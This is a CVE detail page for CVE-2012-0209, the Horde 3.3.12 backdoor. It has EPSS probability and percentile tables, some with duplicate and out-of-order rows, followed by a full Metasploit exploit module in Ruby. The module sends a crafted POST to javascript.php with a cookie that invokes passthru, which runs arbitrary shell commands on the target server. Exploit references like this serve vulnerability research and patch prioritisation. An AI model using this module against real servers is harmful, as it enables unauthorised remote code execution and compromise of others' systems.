CVE-2012-0209 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	79.45%	–	–
2022-02-27	–	–	77.94%	–	–
2022-06-12	–	–	76.65%	–	–
2022-09-11	–	–	74.95%	–	–
2022-12-11	–	–	74.4%	–	–
2023-03-12	–	–	–	65.62%	–
2023-04-16	–	–	–	58.83%	–
2023-10-22	–	–	–	45.37%	–
2023-12-24	–	–	–	59.18%	–
2024-02-11	–	–	–	85.97%	–
2024-03-17	–	–	–	87.2%	–
2024-04-14	–	–	–	87.1%	–
2024-06-02	–	–	–	89.62%	–
2024-07-28	–	–	–	89.03%	–
2024-09-22	–	–	–	60.65%	–
2024-10-20	–	–	–	58.15%	–
2024-12-08	–	–	–	46.72%	–
2024-12-22	–	–	–	60.64%	–
2025-02-02	–	–	–	61.21%	–
2025-01-19	–	–	–	60.64%	–
2025-02-02	–	–	–	61.21%	–
2025-03-18	–	–	–	–	77.69%
2025-03-18	–	–	–	–	77.69,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-02-27	99%
2022-06-12	99%
2022-09-11	99%
2022-12-11	99%
2023-03-12	97%
2023-04-16	97%
2023-10-22	97%
2023-12-24	97%
2024-02-11	98%
2024-03-17	99%
2024-04-14	99%
2024-06-02	99%
2024-07-28	99%
2024-09-22	98%
2024-10-20	98%
2024-12-08	98%
2024-12-22	98%
2025-02-02	98%
2025-01-19	98%
2025-02-02	98%
2025-03-18	99%
2025-03-18	99%

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Horde 3.3.12 Backdoor Arbitrary PHP Code Execution', 'Description' => %q{ This module exploits an arbitrary PHP code execution vulnerability introduced as a backdoor into Horde 3.3.12 and Horde Groupware 1.2.10. }, 'Author' => [ 'Eric Romang', # first public PoC 'jduck' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2012-0209'], [ 'URL', 'http://dev.horde.org/h/jonah/stories/view.php?channel_id=1&id=155' ], [ 'URL', 'http://eromang.zataz.com/2012/02/15/cve-2012-0209-horde-backdoor-analysis/' ] ], 'Privileged' => false, 'Payload' => { 'BadChars' => "\x0a\x0d", 'DisableNops' => true, 'Space' => 4096, 'Compat' => { 'PayloadType' => 'cmd', } }, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'DefaultTarget' => 0, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Feb 13 2012' )) register_options( [ OptString.new('URI', [true, "Path to Horde installation", "/horde"]), OptString.new('APP', [true, "App parameter required by javascript.php (must be active)", "horde"]), ], self.class) end def exploit # Make sure the URI begins with a slash uri = datastore['URI'] if uri[0,1] != '/' uri = '/' + uri end # Make sure the URI ends without a slash, because it's already part of the URI if uri[-1, 1] == '/' uri = uri[0, uri.length-1] end function = "passthru" key = Rex::Text.rand_text_alpha(6) arguments = "echo #{key}`"+payload.raw+"`#{key}" res = send_request_cgi({ 'uri' => uri + "/services/javascript.php", 'method' => 'POST', 'ctype' => 'application/x-www-form-urlencoded', 'data' => "app="+datastore['APP']+"&file=open_calendar.js", 'headers' => { 'Cookie' => "href="+function+":"+arguments, 'Connection' => 'Close', } }) #default timeout, we don't care about the response if (res) print_status("The server returned: #{res.code} #{res.message}") end resp = res.body.split(key) if resp and resp[1] print_status(resp[1]) else print_error("No response found") end handler end end